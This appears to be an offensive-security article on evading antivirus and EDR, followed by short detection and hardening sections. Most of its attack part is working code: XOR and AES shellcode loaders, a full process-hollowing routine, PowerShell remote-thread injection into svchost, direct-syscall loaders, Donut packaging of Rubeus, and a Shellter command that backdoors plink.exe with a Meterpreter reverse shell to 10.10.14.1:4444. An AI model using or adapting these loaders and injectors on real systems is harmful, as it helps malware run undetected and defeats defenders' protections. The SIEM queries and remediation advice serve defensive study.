AV Evasion and Payload Obfuscation Techniques

Introduction

Antivirus detection operates across three distinct layers: static signature matching against known byte patterns and strings, heuristic analysis of structural PE characteristics, and behavioral monitoring of runtime API call sequences. Defeating all three simultaneously requires a layered evasion strategy — encoding defeats static signatures, PE manipulation defeats heuristics, and syscall-based execution defeats behavioral hooks.

The core tension is that every evasion technique eventually becomes a signature. XOR-encoded shellcode stubs were detected by 2018; simple process hollowing via WriteProcessMemory + ResumeThread trips AMSI and EDR sensors today. Modern evasion requires understanding exactly what each AV layer inspects and writing code that produces artifacts outside those detection boundaries.

Language choice matters more than most operators acknowledge. AV vendors train their ML models predominantly on PE files produced by MSVC, Delphi, and .NET. A payload compiled with Nim, Go, or Rust produces PE headers, import tables, and section layouts that differ structurally from those templates, yielding lower detection rates before any obfuscation is applied.

Impact

• Persistent foothold established on endpoints with active AV/EDR coverage
• Shellcode execution without triggering signature-based detections
• Bypasses userland API hooks used by EDR behavioral engines
• .NET assemblies converted to position-independent shellcode, removing assembly-load telemetry
• Sandbox analysis defeated via environment fingerprinting before payload execution
• Legitimate process image used as shellcode host, masking network connections and file I/O

Technical Details

Static Evasion: Shellcode Encoding

Static AV scans the byte content of a file and computes entropy scores alongside string matching. Raw Meterpreter or Cobalt Strike shellcode contains recognizable byte sequences that match existing signatures within seconds of upload to VirusTotal.

XOR encoding with a rotating key destroys the byte signature while adding minimal stub overhead. The decoder executes in memory, keeping the actual shellcode encrypted on disk. AES-128/256 encryption is more robust — no known-plaintext patterns survive and entropy is uniformly high, though some AV engines flag high-entropy blobs as suspicious.

The loader stub itself must also avoid detection. Common patterns like VirtualAlloc + RtlMoveMemory + CreateThread appear in thousands of malware samples. Substituting NtAllocateVirtualMemory + NtWriteVirtualMemory + NtCreateThreadEx via direct syscalls removes the high-level API strings from the import table entirely.

PE Manipulation

PE structure metadata leaks information even when payload bytes are clean. Debug symbols include original source paths. Compile timestamps often match known toolkits. Section names .text, .data, .rdata are standard — malicious packers often reuse the same randomized alternatives, which themselves become signatures.

Strip all debug information at compile time. Modify the TimeDateStamp field in the COFF header to a plausible historical date. Rename sections to mimic legitimate applications (.ndata for NSIS installers, for example). Remove or modify the Rich Header, which encodes compiler version and linker metadata.

Language Choice: Nim, Go, Rust

These languages compile to native PE files with distinct structural fingerprints that differ from the MSVC/MFC baseline AV models trained on:

• Nim: Compiles via C backend, produces clean import tables with minimal suspicious imports. nim c --gc:arc --passL:"-static" payload.nim generates a statically linked binary with no runtime DLL dependencies.
• Go: Statically linked by default. The Go runtime introduces unique section layouts and import patterns. CGO disabled (CGO_ENABLED=0) removes all C runtime hooks.
• Rust: Zero-cost abstractions produce tight, idiomatic PE files. #![no_std] with a custom allocator eliminates the Rust standard library from the binary entirely, yielding minimal PE size and import table.

None of these are permanently safe — once operators widely adopt them, vendors train on them. The advantage is a detection gap window of months to years on less-common variants.

Shellter: Injecting into Legitimate PE

Shellter injects shellcode into existing legitimate 32-bit PE files by finding execution paths through the original code and inserting a polymorphic loader that transfers control to the shellcode before returning to normal execution flow. This approach leverages the legitimacy of the host binary's signature and structural metadata.

Process Hollowing

Process hollowing spawns a legitimate process in a suspended state, unmaps its original image from memory, writes a malicious PE or shellcode in its place, adjusts the thread context to point execution at the new entry point, and resumes the thread. The process appears in Task Manager as the legitimate binary but executes attacker code.

The critical detection surface is the sequence of API calls: CreateProcess with CREATE_SUSPENDED, NtUnmapViewOfSection, VirtualAllocEx, WriteProcessMemory, SetThreadContext, ResumeThread. Modern EDRs hook every one of these. Direct syscalls and timing delays between operations reduce heuristic scores.

Direct Syscalls: SysWhispers2 and Hell's Gate

EDR products instrument userland code by patching the first bytes of NTAPI functions in ntdll.dll with JMP instructions pointing to the EDR's inspection routines. Any call to NtAllocateVirtualMemory first executes the EDR's hook before reaching the kernel.

Direct syscalls bypass this by invoking the kernel directly. Each NTAPI function is a thin wrapper that loads a syscall number into EAX and executes the syscall instruction. The syscall numbers change between Windows versions, so tools like SysWhispers2 and Hell's Gate enumerate the actual numbers at runtime from the loaded ntdll.dll image — reading the clean syscall stubs before any hooks are applied (Hell's Gate) or by sorting exported function addresses to infer syscall IDs (SysWhispers2's SSN sorting approach).

Donut: .NET to Shellcode

Donut converts .NET assemblies, VBScript, JScript, and EXEs into position-independent shellcode that can be injected into arbitrary processes. This removes the requirement to write a .NET loader to disk and avoids assembly-load events that AMSI intercepts. The output shellcode bootstraps the CLR in the target process, loads the assembly from memory, and invokes the specified method.

Sandbox Evasion

Automated analysis sandboxes run payloads for a fixed window (typically 30–120 seconds) in a virtualized environment. Environment fingerprinting detects sandbox conditions before executing the payload:

• Sleep calls: Sleep(30000) before execution; sandboxes often accelerate or skip sleep calls, detectable via GetTickCount delta comparison
• CPUID: Check processor count (IsProcessorFeaturePresent); sandboxes typically expose 1–2 cores
• User interaction: Check cursor position delta over time; automated sandboxes show no mouse movement
• Disk artifacts: Check for recently created files, browser history, installed applications — clean sandbox environments lack these

Attack Tools

#!/usr/bin/env python3
import sys, os

def xor_encode(shellcode: bytes, key: bytes) -> bytes:
    return bytes([b ^ key[i % len(key)] for i, b in enumerate(shellcode)])

with open(sys.argv[1], 'rb') as f:
    sc = f.read()

key = os.urandom(16)
encoded = xor_encode(sc, key)

print(f"Key: {key.hex()}")
print(f"Shellcode length: {len(encoded)}")
print(f'unsigned char key[] = {{ {", ".join(hex(b) for b in key)} }};')
print(f'unsigned char sc[] = {{ {", ".join(hex(b) for b in encoded)} }};')

#include <windows.h>

unsigned char key[] = { /* key bytes */ };
unsigned char sc[] = { /* encoded shellcode */ };

void decode_and_exec() {
    for (size_t i = 0; i < sizeof(sc); i++)
        sc[i] ^= key[i % sizeof(key)];

    LPVOID mem = VirtualAlloc(NULL, sizeof(sc),
                              MEM_COMMIT | MEM_RESERVE,
                              PAGE_EXECUTE_READWRITE);
    memcpy(mem, sc, sizeof(sc));
    ((void(*)())mem)();
}

import winim/lean, nimcrypto

proc loadShellcode(encSc: seq[byte], key: seq[byte]) =
  var sc = aes256Decrypt(encSc, key)   # nimcrypto AES-256
  let mem = VirtualAlloc(nil, cast[SIZE_T](sc.len),
                         MEM_COMMIT or MEM_RESERVE,
                         PAGE_EXECUTE_READWRITE)
  copyMem(mem, addr sc[0], sc.len)
  let fn = cast[proc(){.nimcall.}](mem)
  fn()

#include <windows.h>
#include <winternl.h>

// Typedefs for dynamic resolution — avoid static imports
typedef NTSTATUS (NTAPI *pNtUnmapViewOfSection)(HANDLE, PVOID);
typedef NTSTATUS (NTAPI *pNtWriteVirtualMemory)(HANDLE, PVOID, PVOID, ULONG, PULONG);

void hollow(const char* target, unsigned char* payload, size_t payload_size) {
    STARTUPINFOA si = {0};
    PROCESS_INFORMATION pi = {0};
    si.cb = sizeof(si);

    // Spawn target in suspended state
    CreateProcessA(target, NULL, NULL, NULL, FALSE,
                   CREATE_SUSPENDED | CREATE_NO_WINDOW,
                   NULL, NULL, &si, &pi);

    // Read PEB to find ImageBaseAddress
    CONTEXT ctx = {0};
    ctx.ContextFlags = CONTEXT_FULL;
    GetThreadContext(pi.hThread, &ctx);

    PVOID pebAddr;
#ifdef _WIN64
    ReadProcessMemory(pi.hProcess, (LPCVOID)(ctx.Rdx + 0x10),
                      &pebAddr, sizeof(PVOID), NULL);
#else
    ReadProcessMemory(pi.hProcess, (LPCVOID)(ctx.Ebx + 8),
                      &pebAddr, sizeof(PVOID), NULL);
#endif

    // Unmap original image
    HMODULE ntdll = GetModuleHandleA("ntdll.dll");
    pNtUnmapViewOfSection NtUnmap =
        (pNtUnmapViewOfSection)GetProcAddress(ntdll, "NtUnmapViewOfSection");
    NtUnmap(pi.hProcess, pebAddr);

    // Allocate and write payload
    LPVOID remote = VirtualAllocEx(pi.hProcess, pebAddr, payload_size,
                                   MEM_COMMIT | MEM_RESERVE,
                                   PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(pi.hProcess, remote, payload, payload_size, NULL);

    // Fix entry point and resume
    PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(payload +
        ((PIMAGE_DOS_HEADER)payload)->e_lfanew);
    DWORD ep = nt->OptionalHeader.AddressOfEntryPoint;
#ifdef _WIN64
    ctx.Rcx = (DWORD64)remote + ep;
#else
    ctx.Eax = (DWORD)remote + ep;
#endif
    SetThreadContext(pi.hThread, &ctx);
    ResumeThread(pi.hThread);
}

# Install
git clone https://github.com/TheWover/donut && cd donut
make

# Basic conversion — x64 shellcode from a .NET EXE
./donut -f 1 -a 2 -o loader.bin Rubeus.exe

# With arguments passed to the assembly
./donut -f 1 -a 2 -p "kerberoast /outfile:hashes.txt" -o loader.bin Rubeus.exe

# Output as C array for embedding
./donut -f 2 -a 2 -o loader.h Rubeus.exe

# Encrypt the shellcode with Donut's built-in encryption (-e 3 = random key)
./donut -f 1 -a 2 -e 3 -o loader_enc.bin Rubeus.exe

# Find target PID
$pid = (Get-Process svchost | Select-Object -First 1).Id

# Load shellcode
$sc = [System.IO.File]::ReadAllBytes("loader.bin")

# Inject via P/Invoke
$hProc = [Kernel32]::OpenProcess(0x1FFFFF, $false, $pid)
$addr  = [Kernel32]::VirtualAllocEx($hProc, [IntPtr]::Zero, $sc.Length,
                                     0x3000, 0x40)
[Kernel32]::WriteProcessMemory($hProc, $addr, $sc, $sc.Length, [ref]0)
[Kernel32]::CreateRemoteThread($hProc, [IntPtr]::Zero, 0, $addr,
                                [IntPtr]::Zero, 0, [ref]0)

# Install on Kali
sudo apt install shellter

# Run in auto mode with Meterpreter reverse shell payload
shellter -a -f /usr/share/windows-binaries/plink.exe \
         -p meterpreter_reverse_tcp \
         --lhost 10.10.14.1 --lport 4444

# Interactive mode for custom shellcode
shellter -f putty.exe
# Choose: A (auto), select payload or paste custom shellcode bytes

# Verify the output PE still executes normally
wine putty_infected.exe

# Clone and generate stubs for target functions
git clone https://github.com/jthuraisamy/SysWhispers2
cd SysWhispers2

# Generate stubs for specific NTAPI functions
python3 SysWhispers.py \
  --functions NtAllocateVirtualMemory,NtWriteVirtualMemory,\
NtCreateThreadEx,NtUnmapViewOfSection \
  --out-file syscalls

# Output: syscalls.h + syscalls.asm (MASM) or syscalls.c (inline asm)
# Include in your project and compile with /asm support

#include "syscalls.h"

void exec_shellcode(unsigned char* sc, size_t len) {
    PVOID mem = NULL;
    SIZE_T sz = len;

    // Direct syscall — bypasses EDR hooks on NtAllocateVirtualMemory
    NtAllocateVirtualMemory(GetCurrentProcess(), &mem, 0,
                            &sz, MEM_COMMIT | MEM_RESERVE,
                            PAGE_EXECUTE_READWRITE);

    SIZE_T written = 0;
    NtWriteVirtualMemory(GetCurrentProcess(), mem, sc, len, &written);

    HANDLE hThread = NULL;
    NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL,
                     GetCurrentProcess(), mem, NULL,
                     FALSE, 0, 0, 0, NULL);

    WaitForSingleObject(hThread, INFINITE);
}

Detection

Static Analysis Signals

Behavioral / EDR Signals

SIEM Queries

index=windows source="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational"
  EventCode=8
  SourceImage="*\\svchost.exe" OR SourceImage="*\\explorer.exe"
  NOT TargetImage IN ("*\\svchost.exe", "*\\explorer.exe")
| stats count by SourceImage, TargetImage, StartAddress, ComputerName
| where count < 3

index=windows EventCode=1
| eval entropy_flag=if(like(CommandLine, "%TEMP%") OR like(CommandLine, "%AppData%"), 1, 0)
| where entropy_flag=1 AND NOT match(Image, "(?i)^C:\\\\Program Files")
| table _time, ComputerName, Image, CommandLine, ParentImage

DeviceEvents
| where ActionType == "MemoryRemoteProtect"
| where InitiatingProcessFileName !in~ ("svchost.exe", "lsass.exe", "csrss.exe")
| where AdditionalFields contains "PAGE_EXECUTE"
| project Timestamp, DeviceName, InitiatingProcessFileName,
          InitiatingProcessCommandLine, RemoteUrl
| order by Timestamp desc

Remediation

Endpoint Controls

• Deploy an EDR that instruments at the kernel level via ETW and minifilter drivers, not only userland hooks — direct syscalls bypass userland-only hooks but ETW telemetry persists
• Enable Windows Defender Credential Guard and Virtualization-Based Security (VBS) — enforces code integrity policies that block unsigned kernel drivers used by some evasion techniques
• Configure Attack Surface Reduction (ASR) rules: block Office macro execution, block Win32 API calls from Office macros, block executable content from email client
• Enable AMSI for PowerShell, JScript, and VBA — forces in-memory script content through AV scanning before execution
• Enforce application allowlisting via Windows Defender Application Control (WDAC) — prevents unsigned PE execution regardless of obfuscation

Network Controls

• Inspect TLS traffic at the perimeter for Cobalt Strike/Brute Ratel malleable C2 profiles (JA3/JA3S fingerprints, HTTP header anomalies)
• Block outbound connections from processes that should not generate network traffic (svchost.exe to non-Microsoft IPs, explorer.exe direct C2)

Monitoring

• Collect full Sysmon telemetry: Event IDs 1, 3, 7, 8, 10, 11, 12, 13, 15, 17, 18, 22, 23, 25, 26
• Enable Microsoft-Windows-Kernel-Memory ETW provider for virtual memory operation auditing
• Alert on processes with PAGE_EXECUTE_READWRITE memory allocations from userland (not kernel drivers)

References

MITRE ATT&CK Techniques

• T1027 - Obfuscated Files or Information
• T1055 - Process Injection
• T1140 - Deobfuscate/Decode Files or Information
• T1620 - Reflective Code Loading

Tools Documentation

• SysWhispers2 — Direct syscall stub generator
• Donut — .NET/PE to shellcode converter
• Shellter — PE shellcode injector
• Hell's Gate — Dynamic syscall number resolution
• Nim for offensive tooling — Nim payload templates

Next Steps

• Kerberoasting Attack and Defense
• ACL Abuse in Active Directory
• ASREPRoasting
• DNSAdmins Exploitation